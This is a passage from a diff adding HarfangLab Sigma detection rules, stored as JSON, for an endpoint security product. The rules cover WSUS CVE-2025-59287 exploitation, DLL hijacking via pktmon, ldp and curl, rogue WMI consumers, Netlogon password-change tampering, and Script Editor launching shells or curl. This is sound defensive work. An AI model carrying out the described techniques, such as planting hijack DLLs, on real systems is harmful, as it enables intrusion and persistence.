+  "creation_date": "2026-03-23T11:45:34.073406Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.073410Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://hawktrace.com/blog/CVE-2025-59287",
+    "https://www.huntress.com/blog/exploitation-of-windows-server-update-services-remote-code-execution-vulnerability",
+    "https://attack.mitre.org/techniques/T1190/"
+  ],
+  "name": "t1190_wsus_exploitation.yml",
+  "content": "title: Suspicious Process Spawned by WSUS\nid: 8ba97e80-f511-46d8-bb0a-95b03912ee6a\ndescription: |\n    Detects a suspicious process execution by WSUS.\n    This can be the result of the exploitation of the CVE-2025-59287 vulnerability that allow remote code execution via unsafe deserialization in WSUS, leading to arbitrary commands executed by the IIS worker process (w3wp.exe).\n    It is recommended to investigate the spawned process, its command-line and any scripts it might have executed to determine legitimacy.\nreferences:\n    - https://hawktrace.com/blog/CVE-2025-59287\n    - https://www.huntress.com/blog/exploitation-of-windows-server-update-services-remote-code-execution-vulnerability\n    - https://attack.mitre.org/techniques/T1190/\ndate: 2025/10/21\nmodified: 2025/10/25\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1190\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Exploit.CVE-2025-59287\n    - classification.Windows.Behavior.Exploitation\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - ParentImage|endswith: '\\w3wp.exe' # IIS\n          ParentCommandLine|contains: ' -ap WsusPool '\n        - ParentImage|endswith: '\\WsusService.exe'\n\n    exclusion_image:\n        Image:\n            - '?:\\Windows\\System32\\inetsrv\\w3wp.exe'\n            - '?:\\Program Files\\Update Services\\Services\\WsusService.exe'\n            - '?:\\Windows\\System32\\WerFault.exe'\n            - '?:\\Windows\\Microsoft.NET\\Framework64\\v*\\csc.exe'\n            - '?:\\Windows\\Microsoft.NET\\Framework64\\v*\\vbc.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8ba97e80-f511-46d8-bb0a-95b03912ee6a",
+  "rule_name": "Suspicious Process Spawned by WSUS",
+  "rule_description": "Detects a suspicious process execution by WSUS.\nThis can be the result of the exploitation of the CVE-2025-59287 vulnerability that allow remote code execution via unsafe deserialization in WSUS, leading to arbitrary commands executed by the IIS worker process (w3wp.exe).\nIt is recommended to investigate the spawned process, its command-line and any scripts it might have executed to determine legitimacy.\n",
+  "rule_creation_date": "2025-10-21",
+  "rule_modified_date": "2025-10-25",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1190"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8bbb1fe2-4deb-442f-b7d5-d2e7511696ef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094574Z",
+  "creation_date": "2026-03-23T11:45:34.094576Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094581Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_pktmon.yml",
+  "content": "title: DLL Hijacking via pktmon.exe\nid: 8bbb1fe2-4deb-442f-b7d5-d2e7511696ef\ndescription: |\n    Detects potential Windows DLL Hijacking via pktmon.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'pktmon.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\mintdh.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8bbb1fe2-4deb-442f-b7d5-d2e7511696ef",
+  "rule_name": "DLL Hijacking via pktmon.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via pktmon.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8bc68226-f537-44e1-88e4-c54b73787047",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075808Z",
+  "creation_date": "2026-03-23T11:45:34.075810Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075814Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://mgreen27.github.io/posts/2022/01/12/wmi-eventing.html",
+    "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/",
+    "https://attack.mitre.org/techniques/T1546/003/"
+  ],
+  "name": "t1546_003_wmi_unknown_consumer.yml",
+  "content": "title: Unknown WMI Consumer\nid: 8bc68226-f537-44e1-88e4-c54b73787047\ndescription: |\n    Detects the creation of suspicious WMI consumer using an uncommon consumer class.\n    Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs.\n    WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.\n    The built-in consumers are:\n        - Log File: log a message in a text file;\n        - Script: execute the specified code or related script;\n        - Command Line: execute the specified command line;\n        - Event Log: log a message in Windows event log;\n        - SMTP: send an email.\n\n    It is recommended to investigate the non-standard consumer to determine its legitimacy using for example the PowerShell cmdlet Get-WmiObject.\nreferences:\n    - https://mgreen27.github.io/posts/2022/01/12/wmi-eventing.html\n    - https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/\n    - https://attack.mitre.org/techniques/T1546/003/\ndate: 2023/12/07\nmodified: 2025/02/05\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1546.003\n    - classification.Windows.Source.WmiEvent\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: wmi_event\ndetection:\n    selection:\n        EventType: 'WmiConsumerEvent'\n        Operation:\n            - 'Created'\n            - 'Modified'\n\n    filter_known_types:\n        Type:\n            - 'Log File'\n            - 'Script'\n            - 'Command Line'\n            - 'Event Log'\n            - 'SMTP'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8bc68226-f537-44e1-88e4-c54b73787047",
+  "rule_name": "Unknown WMI Consumer",
+  "rule_description": "Detects the creation of suspicious WMI consumer using an uncommon consumer class.\nAdversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs.\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.\nThe built-in consumers are:\n    - Log File: log a message in a text file;\n    - Script: execute the specified code or related script;\n    - Command Line: execute the specified command line;\n    - Event Log: log a message in Windows event log;\n    - SMTP: send an email.\n\nIt is recommended to investigate the non-standard consumer to determine its legitimacy using for example the PowerShell cmdlet Get-WmiObject.\n",
+  "rule_creation_date": "2023-12-07",
+  "rule_modified_date": "2025-02-05",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1546.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8bda48e4-7ff5-408e-8e1f-42d16a920267",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621348Z",
+  "creation_date": "2026-03-23T11:45:34.621350Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621355Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://support.microsoft.com/en-us/help/154501/how-to-disable-automatic-machine-account-password-changes",
+    "https://attack.mitre.org/techniques/T1098/"
+  ],
+  "name": "t1098_disable_netlogon_password_changes.yml",
+  "content": "title: Automatic Machine Account Password Changes Disabled\nid: 8bda48e4-7ff5-408e-8e1f-42d16a920267\ndescription: |\n    Detects when automatic Machine Account Password changes are disabled via a registry modification.\n    If automatic Machine Account Password changes are disabled, there are security risks because the security channel is used for pass-through authentication. If someone discovers a password, he can potentially perform pass-through authentication to the domain controller.\n    It is recommended to check the legitimacy of this action and to verify that is is a legitimate administrative action.\nreferences:\n    - https://support.microsoft.com/en-us/help/154501/how-to-disable-automatic-machine-account-password-changes\n    - https://attack.mitre.org/techniques/T1098/\ndate: 2020/10/19\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1098\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.ConfigChange\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters\\DisablePasswordChange'\n        Details|contains: 'DWORD' # Any non-zero value works, not just DWORD (0x00000001)\n\n    exclusion_zero:\n        Details: 'DWORD (0x00000000)'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_services:\n        ProcessImage: '?:\\Windows\\system32\\services.exe'\n\n    # https://www.faronics.com/fr/products/deep-freeze\n    exclusion_faronics:\n        ProcessProduct: 'Deep Freeze'\n        ProcessCompany: 'Faronics Corporation'\n    exclusion_script:\n        ProcessParentCommandLine|contains: '?:\\temp\\WS2016Optimisations.ps1'\n        ProcessParentImage: '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8bda48e4-7ff5-408e-8e1f-42d16a920267",
+  "rule_name": "Automatic Machine Account Password Changes Disabled",
+  "rule_description": "Detects when automatic Machine Account Password changes are disabled via a registry modification.\nIf automatic Machine Account Password changes are disabled, there are security risks because the security channel is used for pass-through authentication. If someone discovers a password, he can potentially perform pass-through authentication to the domain controller.\nIt is recommended to check the legitimacy of this action and to verify that is is a legitimate administrative action.\n",
+  "rule_creation_date": "2020-10-19",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1098",
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8bf847a6-5f2e-4377-b978-8c7f5d1e7fdc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.586572Z",
+  "creation_date": "2026-03-23T11:45:34.586576Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.586584Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_ldp.yml",
+  "content": "title: DLL Hijacking via ldp.exe\nid: 8bf847a6-5f2e-4377-b978-8c7f5d1e7fdc\ndescription: |\n    Detects potential Windows DLL Hijacking via ldp.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'ldp.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\mfc42u.dll'\n            - '\\sspicli.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8bf847a6-5f2e-4377-b978-8c7f5d1e7fdc",
+  "rule_name": "DLL Hijacking via ldp.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via ldp.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8c2753d6-02be-49c6-b505-e84d50ac2072",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080516Z",
+  "creation_date": "2026-03-23T11:45:34.080518Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080523Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_curl.yml",
+  "content": "title: DLL Hijacking via curl.exe\nid: 8c2753d6-02be-49c6-b505-e84d50ac2072\ndescription: |\n    Detects potential Windows DLL Hijacking via curl.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'curl.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\mswsock.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Google\\Chrome\\Application\\'\n            - '?:\\Program Files (x86)\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\\\*\\'\n            - '?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files (x86)\\Mozilla Firefox\\'\n            - '?:\\Program Files (x86)\\WindowsApps\\MicrosoftTeams*\\'\n            - '?:\\Program Files\\Google\\Chrome\\Application\\'\n            - '?:\\Program Files\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files\\Microsoft\\EdgeWebView\\Application\\\\*\\'\n            - '?:\\Program Files\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files\\Mozilla Firefox\\'\n            - '?:\\Program Files\\WindowsApps\\MicrosoftTeams*\\'\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Zoom\\bin\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8c2753d6-02be-49c6-b505-e84d50ac2072",
+  "rule_name": "DLL Hijacking via curl.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via curl.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8c5c44a0-e263-4023-a009-e8a1f996946c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095496Z",
+  "creation_date": "2026-03-23T11:45:34.095498Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095503Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://wojciechregula.blog/post/macos-red-teaming-initial-access-via-applescript-url/",
+    "https://attack.mitre.org/techniques/T1059/002/"
+  ],
+  "name": "t1059_002_script_edictor_suspicious_child.yml",
+  "content": "title: Suspicious Program Spawned by Script Editor\nid: 8c5c44a0-e263-4023-a009-e8a1f996946c\ndescription: |\n    Detects a suspicious program spawned by Script Editor.\n    Script Editor is a built-in application allowing a user to create and debug Apple Script.\n    Via the use of an AppleScript URL, an attacker could trick a user into executing a script encoded in the URL.\n    It is recommended to investigate the spawned program to determine whether this action was legitimate.\nreferences:\n    - https://wojciechregula.blog/post/macos-red-teaming-initial-access-via-applescript-url/\n    - https://attack.mitre.org/techniques/T1059/002/\ndate: 2022/11/14\nmodified: 2025/01/20\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.execution\n    - attack.t1569.002\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Script.AppleScript\n    - classification.macOS.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        ParentImage: '/System/Applications/Utilities/Script Editor.app/Contents/MacOS/Script Editor'\n        Image:\n            - '/bin/sh'\n            - '/bin/bash'\n            - '/bin/csh'\n            - '/bin/dash'\n            - '/bin/ksh'\n            - '/bin/tcsh'\n            - '/bin/zsh'\n            - '/usr/bin/python'\n            - '/usr/bin/python2'\n            - '/usr/bin/python3'\n            - '/usr/bin/ruby'\n            - '/usr/bin/perl'\n            - '/usr/bin/curl'\n            - '/usr/bin/plutil'\n            - '/usr/bin/osascript'\n\n    exclusion_sed:\n        CommandLine|contains: \" | sed 's/<[^>]*>//g'\"\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8c5c44a0-e263-4023-a009-e8a1f996946c",
+  "rule_name": "Suspicious Program Spawned by Script Editor",
+  "rule_description": "Detects a suspicious program spawned by Script Editor.\nScript Editor is a built-in application allowing a user to create and debug Apple Script.\nVia the use of an AppleScript URL, an attacker could trick a user into executing a script encoded in the URL.\nIt is recommended to investigate the spawned program to determine whether this action was legitimate.\n",
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2025-01-20",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1569.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8c60ec83-9f95-4dc0-9c05-23e5df43fcd3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
